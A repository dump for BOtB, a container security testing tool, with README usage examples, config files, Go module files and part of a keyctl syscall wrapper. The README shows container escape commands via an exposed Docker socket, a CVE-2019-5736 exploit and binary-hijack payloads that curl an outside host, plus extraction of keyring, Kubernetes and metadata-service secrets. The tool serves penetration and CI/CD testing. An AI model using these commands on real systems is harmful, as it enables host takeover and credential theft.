30 | - Force BOtB to always return a Exit Code of 0 (useful for non-blocking CI/CD)
31 | - Perform the above from the CLI arguments or from a YAML config file
32 | - Perform reverse DNS lookup
33 |
34 |
35 | # Installation
36 |
37 | ## Binaries
38 | For installation instructions from binaries please visit the [Releases Page](https://github.com/brompwnie/botb/releases).
39 |
40 | ## Via Go
41 | ```
42 | go get github.com/brompwnie/botb
43 | ```
44 |
45 |
46 | # Building from source
47 |
48 | Building BOtB via Go:
49 | ```
50 | go build
51 | ```
52 | Building BOtB via Make:
53 | ```
54 | make
55 | ```
56 |
57 |
58 | # Usage
59 | BOtB can be compiled into a binary for the targeted platform and supports the following usage
60 | ```
61 | ./botb-linux-amd64 -h
62 | -aggr string
63 | Attempt to exploit RuncPWN (default "nil")
64 | -always-succeed
65 | Always set BOtB's Exit code to Zero
66 | -autopwn
67 | Attempt to autopwn exposed sockets
68 | -cicd
69 | Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
70 | -config string
71 | Load config from provided yaml file (default "nil")
72 | -endpoints string
73 | Provide a textfile with endpoints to use for test (default "nil")
74 | -find-docker
75 | Attempt to find Dockerd
76 | -find-http
77 | Hunt for Available UNIX Domain Sockets with HTTP
78 | -find-sockets
79 | Hunt for Available UNIX Domain Sockets
80 | -hijack string
81 | Attempt to hijack binaries on host (default "nil")
82 | -k8secrets
83 | Identify and Verify K8's Secrets
84 | -keyMax int
85 | Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
86 | -keyMin int
87 | Minimum key id range (default 1) (default 1)
88 | -metadata
89 | Attempt to find metadata services
90 | -path string
91 | Path to Start Scanning for UNIX Domain Sockets (default "/")
92 | -pwn-privileged string
93 | Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
94 | -pwnKeyctl
95 | Abuse keyctl syscalls and extract data from Linux Kernel keyrings
96 | -recon
97 | Perform Recon of the Container ENV
98 | -region string
99 | Provide a AWS Region e.g eu-west-2 (default "nil")
100 | -rev-dns string
101 | Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
102 | -s3bucket string
103 | Provide a bucket name for S3 Push (default "nil")
104 | -s3push string
105 | Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
106 | -scrape-gcp
107 | Attempt to scrape the GCP metadata service
108 | -verbose
109 | Verbose output
110 | -wordlist string
111 | Provide a wordlist (default "nil")
112 |
113 | ```
114 |
115 | BOtB can also be instructed to load settings from a YAML file via the config parameter
116 | ```
117 | #./botb-linux-amd64 -config=cfg.yml
118 | [+] Break Out The Box
119 | [+] Loading Config: cfg.yml
120 | ...
121 | ```
122 |
123 | The following usage examples will return a Exit Code > 0 by default when an anomaly is detected, this is depicted by "echo $?" which shows the exit code of the last executed command.
124 |
125 | ### Identify and Extract Linux Kernel Keyring Secrets that have not been properly protected
126 | More info from the original author here https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
127 | ```
128 | #./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
129 | [+] Break Out The Box
130 | [*] Attempting to Identify and Extract Keyring Values
131 | [!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
132 | [!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
133 | [!] Output {
134 | "KeyId": 13738777,
135 | "Valid": true,
136 | "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
137 | "Type": "keyring",
138 | "Uid": "0",
139 | "Gid": "0",
140 | "Perms": "3f1b0000",
141 | "String_Content": "\ufffd\ufffd\ufffd\u000e",
142 | "Byte_Content": "wP73Dg==",
143 | "Comments": null,
144 | "Subkeys": [
145 | {
146 | "KeyId": 251133632,
147 | "Valid": true,
148 | "Name": "brompwnie_secret",
149 | "Type": "user",
150 | "Uid": "0",
151 | "Gid": "0",
152 | "Perms": "3f010000",
153 | "String_Content": "thetruthisialsoreallyliketrees",
154 | "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
155 | "Comments": null,
156 | "Subkeys": null,
157 | "Output": ""
158 | }
159 | ],
160 | "Output": ""
161 | }
162 | [+] Finished
163 | ```
164 |
165 |
166 | ### Identify and Verify mounted Kubernetes Service Account Secrets
167 | ```
168 | #./botb-linux-amd64 -k8secrets=true
169 | [+] Break Out The Box
170 | [*] Identifying and Verifying K8's Secrets
171 | [!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
172 | [!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
173 | [*] Trying: https://kubernetes.default/api/v1
174 | [!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
175 | [*] Trying: https://kubernetes.default/api/v1/namespaces
176 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
177 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
178 | [*] Trying: https://kubernetes.default/api/v1
179 | [!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
180 | [*] Trying: https://kubernetes.default/api/v1/namespaces
181 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
182 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
183 | [+] Finished
184 | ```
185 |
186 | ### Break out from Container via Exposed Docker Daemon
187 | This approach will breakout into an interactive TTY on the host.
188 | ```
189 | #./bob_linux_amd64 -autopwn=true
190 | [+] Break Out The Box
191 | [+] Attempting to autopwn
192 | [+] Hunting Docker Socks
193 | [+] Attempting to autopwn: /var/meh
194 | [+] Attempting to escape to host...
195 | [+] Attempting in TTY Mode
196 | ./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
197 | chroot /host && clear
198 | echo 'You are now on the underlying host'
199 | You are now on the underlying host
200 | / #
201 | ```
202 |
203 | ### Break out of a Container but in a CI/CD Friendly way
204 | This approach does not escape into a TTY on the host but instead returns an Exit Code > 0 to indicate a successful container breakout.
205 |
206 | ```
207 | #./bob_linux_amd64 -autopwn=true -cicd=true
208 | [+] Break Out The Box
209 | [+] Attempting to autopwn
210 | [+] Hunting Docker Socks
211 | [+] Attempting to autopwn: /var/meh
212 | [+] Attempting to escape to host...
213 | [!] Successfully escaped container
214 | [+] Finished
215 |
216 | #echo $?
217 | 1
218 | ```
219 |
220 | ### Exploit CVE-2019-5736 with a Custom Payload
221 | Please note that for this exploit to work, a process has to be executed in the target container in this scenario.
222 | ```
223 | #./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1'
224 | [+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
225 | [+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
226 | 1¶m2=$2">/dev/null 2>&1
227 | [+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
228 | [+] Finished
229 | ```
230 |
231 | ### Hijack Commands/Binaries on a Host with a Custom Payload
232 | Please note that this can be used to test if external entities are executing commands within the container. Examples are Docker Exec and Kubetcl CP.
233 |
234 | ```
235 | #./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
236 | 1¶m2=$2">/dev/null 2>&1'
237 | [+] Break Out The Box
238 | [!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
239 | [+] Attempting to hijack binaries
240 | [*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1
241 | [+] Currently hijacking: /bin
242 | [+] Currently hijacking: /sbin
243 | [+] Currently hijacking: /usr/bin
244 | [+] Finished
245 | ```
246 |
247 | ### Find UNIX Domain Sockets
248 | ```
249 | #./botb-linux-amd64 -find-sockets=true
250 | [+] Break Out The Box
251 | [+] Hunting Down UNIX Domain Sockets from: /
252 | [!] Valid Socket: /var/meh
253 | [+] Finished
254 |
255 | #echo $?
256 | 1
257 | ```
258 |
259 |
260 | ### Find a Docker Daemon
261 | ```
262 | #./bob_linux_amd64 -find-docker=true
263 | [+] Break Out The Box
264 | [+] Looking for Dockerd
265 | [!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
266 | [+] Hunting Docker Socks
267 | [!] Valid Docker Socket: /var/meh
268 | [+] Finished
269 |
270 | #echo $?
271 | 1
272 | ```
273 |
274 |
275 |
276 | ### Analyze ENV and ProcFS Environ for Sensitive Strings
277 | By default BOtB will search for the two terms "secret" and "password".
278 | ```
279 | ./bob_linux_amd64 -recon=true
280 | [+] Break Out The Box
281 | [+] Performing Container Recon
282 | [+] Searching /proc/* for data
283 | [!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
284 | [!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
285 | [!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
286 | [!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
287 | [+] Checking ENV Variables for secrets
288 | [!] Sensitive Keyword found in ENV: foo=secretpassword
289 | [+] Finished
290 |
291 | #echo $?
292 | 1
293 | ```
294 |
295 | A wordlist can be supplied to BOtB to scan for particular keywords.
296 | ```
297 | #cat wordlist.txt
298 | moo
299 |
300 | # ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
301 | [+] Break Out The Box
302 | [+] Performing Container Recon
303 | [+] Searching /proc/* for data
304 | [*] Loading entries from: wordlist.txt
305 | [+] Checking ENV Variables for secrets
306 | [*] Loading entries from: wordlist.txt
307 | [+] Finished
308 |
309 | # echo $?
310 | 0
311 | ```
312 |
313 | ### Scan for Metadata Endpoints
314 | BOtB by default scans for two Metadata endpoints.
315 | ```
316 | # ./bob_linux_amd64 -metadata=true
317 | [+] Break Out The Box
318 | [*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
319 | [*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
320 | [+] Finished
321 |
322 | # echo $?
323 | 0
324 | ```
325 |
326 | BOtB can also be supplied with a list of endpoints to scan for.
327 | ```
328 | # cat endpoints.txt
329 | https://heroku.com
330 |
331 | # ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
332 | [+] Break Out The Box
333 | [*] Loading entries from: endpoints.txt
334 | [*] Attempting to query metadata endpoint: 'https://heroku.com'
335 | [!] Reponse from 'https://heroku.com' -> 200
336 | [+] Finished
337 |
338 | # echo $?
339 | 1
340 | ```
341 |
342 |
343 | ### Scan for UNIX Domain Sockets that respond to HTTP
344 | ```
345 | # ./bob_linux_amd64 -find-http=true
346 | [+] Break Out The Box
347 | [+] Looking for HTTP enabled Sockets
348 | [!] Valid HTTP Socket: /var/run/docker.sock
349 | [+] Finished
350 |
351 | ```
352 |
353 | ### Scrape data from GCP metadata instance
354 | ```
355 | # ./botb_linux_amd64 -scrape-gcp=true
356 | [+] Break Out The Box
357 | [+] Attempting to connect to: 169.254.169.254:80
358 |
359 | [*] Output->
360 | HTTP/1.0 200 OK
361 | Metadata-Flavor: Google
362 | Content-Type: application/text
363 | Date: Sun, 30 Jun 2019 21:53:41 GMT
364 | Server: Metadata Server for VM
365 | Connection: Close
366 | Content-Length: 21013
367 | X-XSS-Protection: 0
368 | X-Frame-Options: SAMEORIGIN
369 |
370 | 0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
371 | 0.1/meta-data/attached-disks/disks/0/index 0
372 | 0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
373 | .....
374 |
375 | ```
376 |
377 | ### Push data to an AWS S3 Bucket
378 | ```
379 | # ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
380 | [+] Break Out The Box
381 | [+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
382 | [*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
383 | [+] Finished
384 |
385 | ```
386 |
387 | ### Break out of a Privileged Container
388 | ```
389 | # ./bob_linux_amd64 -pwn-privileged=hostname
390 | [+] Break Out The Box
391 | [+] Attempting to exploit CGROUP Privileges
392 | [*] The result of your command can be found in /output
393 | [+] Finished
394 | root@418fa238e34d:/app# cat /output
395 | docker-desktop
396 | ```
397 |
398 | ### Force BOtB to always succeed with a Exit Code of 0
399 | This is useful for non-blocking CI/CD tests
400 | ```
401 | # ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
402 | [+] Break Out The Box
403 | [+] Attempting to exploit CGROUP Privileges
404 | [*] The result of your command can be found in /output
405 | [+] Finished
406 | # echo $?
407 | 0
408 |
409 | ```
410 |
411 | ### Using BOtB with a YAML config file
412 | Example YAML file cfg.yml
413 |
414 | ```
415 | payload: id
416 | verbose: false
417 | always-succeed: true
418 | cicd: false
419 | endpointlist: endpoints.txt
420 | wordlist: wordlist.txt
421 | path: /
422 | mode: find-sockets
423 |
424 | ```
425 | Run BOtB with the above YAML
426 |
427 | ```
428 | # ./bob_linux_amd64 -config=cfg.yml
429 | [+] Break Out The Box
430 | [+] Loading Config: cfg.yml
431 | [+] Looking for UNIX Domain Sockets from: /
432 | [!] Valid Socket: /tmp/thisisnotasocket.mock
433 | [+] Finished
434 |
435 | ```
436 |
437 | # Using BOtB with CI\CD
438 | BOtB can be used with CI\CD technologies that make use of exit codes to determine if tests have passed or failed. Below is a Shell script that executes two BOtB tests and the exit codes of the two tests are used to set the exit of the Shell script. If any of the two tests return an Exit Code >0, the test executing the shell script will fail.
439 |
440 | ```
441 | #!/bin/sh
442 |
443 | exitCode=0
444 |
445 | echo "[+] Testing UNIX Sockets"
446 | ./bob_linux_amd64 -autopwn -cicd=true
447 | exitCode=$?
448 |
449 | echo "[+] Testing Env"
450 | ./bob_linux_amd64 -recon=true
451 | exitCode=$?
452 |
453 | (exit $exitCode)
454 |
455 | ```
456 | The above script is not the only way to use BOtB with CI\CD technologies but could also be used by itself and not wrapped in a shell script. An example YML config would be:
457 |
458 | ```
459 | version: 2
460 | cicd:
461 | runATest: ./bob_linux_amd64 -autopwn -cicd=true
462 | ```
463 |
464 | Below is an example config that can be used with Heroku CI:
465 |
466 | ```
467 | {
468 | "environments": {
469 | "test": {
470 | "scripts": {
471 | "test": "./bob_linux_amd64 -autopwn -cicd=true"
472 | }
473 | }
474 | }
475 | }
476 | ```
477 |
478 | Below is an example config with Heroku CI but using a wrapper shell script:
479 |
480 | ```
481 | {
482 | "environments": {
483 | "test": {
484 | "scripts": {
485 | "test": "./bin/testSocksAndEnv.sh"
486 | }
487 | }
488 | }
489 | }
490 |
491 |
492 | ```
493 |
494 | # Issues, Bugs and Improvements
495 | For any bugs, please submit an issue. There is a long list of improvements but please submit an Issue if there is something you want to see added to BOtB.
496 |
497 | # References and Resources
498 | This tool would not be possible without the contribution of others in the community, below is a list of resources that have helped me.
499 |
500 | - https://docs.docker.com/engine/security/https/
501 | - https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
502 | - https://docs.docker.com/engine/reference/commandline/exec/
503 | - https://github.com/GoogleContainerTools/container-structure-test
504 | - https://github.com/coreos/clair
505 | - https://github.com/aquasecurity/docker-bench
506 | - https://www.cisecurity.org/benchmark/docker/
507 | - https://github.com/Frichetten/CVE-2019-5736-PoC
508 | - https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
509 | - https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
510 | - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
511 | - https://github.com/wagoodman/dive
512 | - https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
513 | - https://github.com/singe/container-breakouts
514 | - https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
515 | - https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/
516 | - https://github.com/antitree/keyctl-unmask#keyctl-unmask
517 | - https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
518 |
519 | # Talks and Events
520 | BOtB is scheduled to be presented at the following:
521 |
522 | - BSides London 2019 (https://sched.co/PAwB) and slides can be found here https://github.com/brompwnie/bsideslondon2019
523 | - Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
524 | - DefCon 27 Cloud Village (https://cloud-village.org/)
525 | - Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
526 | - DevSecCon London 2019 (https://www.devseccon.com/london-2019/)
527 |
528 | # License
529 | BOtB is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0).
530 |
--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------
1 | # Security Policy
2 |
3 | ## Supported Versions
4 |
5 | The following released versions are supported by security updates:
6 |
7 | | Version | Supported |
8 | | ------- | ------------------ |
9 | | 1.7.0 | :white_check_mark: |
10 | | 1.6.0 | :white_check_mark: |
11 | | 1.5.0 | :white_check_mark: |
12 | | 1.4.0 | :white_check_mark: |
13 | | 1.3.0 | :white_check_mark: |
14 | | 1.2.0 | :white_check_mark: |
15 | | 1.1.0 | :white_check_mark: |
16 | | 1.0 | :white_check_mark: |
17 |
18 | ## Reporting a Vulnerability
19 |
20 | Complete transparency is the goal and your contribution is welcomed.
21 |
22 | Please report a security vulnerabiltiy by submitting a Pull Request and providing the following:
23 | - CVS3 Score with Vector
24 | - A minimal PoC that can show how to exploit the vulnerability and show impact
25 |
26 |
--------------------------------------------------------------------------------
/cfg.yml:
--------------------------------------------------------------------------------
1 | payload: id
2 | verbose: false
3 | always-succeed: true
4 | cicd: false
5 | endpointlist: endpoints.txt
6 | wordlist: wordlist.txt
7 | path: /
8 | mode: find-sockets
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/brompwnie/botb
2 |
3 | go 1.17
4 |
5 | require (
6 | github.com/aws/aws-sdk-go v1.20.16
7 | github.com/creack/pty v1.1.11
8 | github.com/stretchr/testify v1.3.0 // indirect
9 | github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926
10 | golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8
11 | gopkg.in/yaml.v2 v2.2.8
12 | )
13 |
14 | require (
15 | github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af // indirect
16 | golang.org/x/sys v0.0.0-20190412213103-97732733099d // indirect
17 | )
18 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/aws/aws-sdk-go v1.20.16 h1:Dq68fBH39XnSjjb2hX/iW6mui8JtXcVAuhRYGSRiisY=
2 | github.com/aws/aws-sdk-go v1.20.16/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
3 | github.com/creack/pty v1.1.11 h1:07n33Z8lZxZ2qwegKbObQohDhXDQxiMMz1NOUGYlesw=
4 | github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
5 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
7 | github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af h1:pmfjZENx5imkbgOkpRUYLnmbU7UEFbjtDA2hxJ1ichM=
8 | github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
9 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
10 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
11 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
12 | github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q=
13 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
14 | github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926 h1:G3dpKMzFDjgEh2q1Z7zUUtKa8ViPtH+ocF0bE0g00O8=
15 | github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM=
16 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
17 | golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8 h1:1wopBVtVdWnn03fZelqdXTqk7U7zPQCb+T4rbU9ZEoU=
18 | golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
19 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ=
20 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
21 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
22 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI=
23 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
24 | golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
25 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
26 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
27 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
28 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10=
29 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
30 |
--------------------------------------------------------------------------------
/hashes.sh:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 |
3 | echo "Generating SHA256 Binary Hashes for Release"
4 |
5 | echo "SHA256 bin/botb-linux-amd64"
6 | cat bin/botb-linux-amd64 | shasum -a 256
7 | echo "SHA256 bin/botb-darwin-amd64"
8 | cat bin/botb-darwin-amd64 | shasum -a 256
9 | echo "SHA256 bin/botb-linux-386"
10 | cat bin/botb-linux-386 | shasum -a 256
11 | echo "SHA256 bin/botb-darwin-386"
12 | cat bin/botb-darwin-386 | shasum -a 256
--------------------------------------------------------------------------------
/keyctl.go:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2015, Jesse Sipprell
2 | // All rights reserved.
3 |
4 | // Redistribution and use in source and binary forms, with or without
5 | // modification, are permitted provided that the following conditions are met:
6 |
7 | // * Redistributions of source code must retain the above copyright notice, this
8 | // list of conditions and the following disclaimer.
9 |
10 | // * Redistributions in binary form must reproduce the above copyright notice,
11 | // this list of conditions and the following disclaimer in the documentation
12 | // and/or other materials provided with the distribution.
13 |
14 | // * Neither the name of keyctl nor the names of its
15 | // contributors may be used to endorse or promote products derived from
16 | // this software without specific prior written permission.
17 |
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
22 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
23 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
25 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
26 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
27 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
28 | //
29 | // Based on the work of Jesse Sipprell's project https://github.com/jsipprell/keyctl
30 | //
31 | // https://github.com/jsipprell/keyctl/blob/master/sys_linux.go
32 | //
33 | // Modified by Antitree
34 | // Copied by Brompwnie
35 |
36 | package main
37 |
38 | import (
39 | "fmt"
40 | "strings"
41 | "syscall"
42 | "unsafe"
43 | )
44 |
45 | type keyId int32
46 | type keyctlCommand int
47 |
48 | const (
49 | // Only for 64 bit architecture
50 | syscall_keyctl uintptr = 250
51 | syscall_add_key uintptr = 248
52 | syscall_setfsgid uintptr = 123
53 | )
54 |
55 | const (
56 | keyctlGetKeyringId keyctlCommand = iota
57 | keyctlJoinSessionKeyring
58 | keyctlUpdate
59 | keyctlRevoke
60 | keyctlChown
61 | keyctlSetPerm
62 | keyctlDescribe
63 | keyctlClear
64 | keyctlLink
65 | keyctlUnlink
66 | keyctlSearch
67 | keyctlRead
68 | keyctlInstantiate
69 | keyctlNegate
70 | keyctlSetReqKeyKeyring
71 | keyctlSetTimeout
72 | keyctlAssumeAuthority
73 | keyctlGetPersistent
74 | )
75 |
76 | const (
77 | // you can reference builtin keyrings this way
78 | keySpecThreadKeyring keyId = -1
79 | keySpecProcessKeyring keyId = -2
80 | keySpecSessionKeyring keyId = -3
81 | keySpecUserKeyring keyId = -4
82 | keySpecUserSessionKeyring keyId = -5
83 | keySpecGroupKeyring keyId = -6
84 | keySpecReqKeyAuthKey keyId = -7
85 | )
86 |
87 | func (k *Key) populate_describe(bdesc []byte) error {
88 | // Parse the response from the describekeyid syscall
89 | // In the format of:
90 | // user;1000;1000;3f1000000;myname
91 | k.Valid = true // TODO do I need this here?
92 | aReturn := strings.Split(string(bdesc), ";")
93 | if len(aReturn) < 5 {
94 | return fmt.Errorf("Something wrong parsing describekeyid results: %s", string(bdesc))
95 | }
96 |
97 | // Populate info from results
98 | k.Type = aReturn[0]
99 | k.Uid = aReturn[1]
100 | k.Gid = aReturn[2]
101 | k.Perms = aReturn[3]
102 | k.Name = aReturn[4]
103 |
104 | // TODO not very useful results
105 | return nil
106 | }
107 |
108 | func (cmd keyctlCommand) String() string {
109 | switch cmd {
110 | case keyctlGetKeyringId:
111 | return "keyctlGetKeyringId"
112 | case keyctlJoinSessionKeyring:
113 | return "keyctlJoinSessionKeyring"
114 | case keyctlUpdate:
115 | return "keyctlUpdate"
116 | case keyctlRevoke:
117 | return "keyctlRevoke"
118 | case keyctlChown:
119 | return "keyctlChown"
120 | case keyctlSetPerm:
121 | return "keyctlSetPerm"
122 | case keyctlDescribe:
123 | return "keyctlDescribe"
124 | case keyctlClear:
125 | return "keyctlClear"
126 | case keyctlLink:
127 | return "keyctlLink"
128 | case keyctlUnlink:
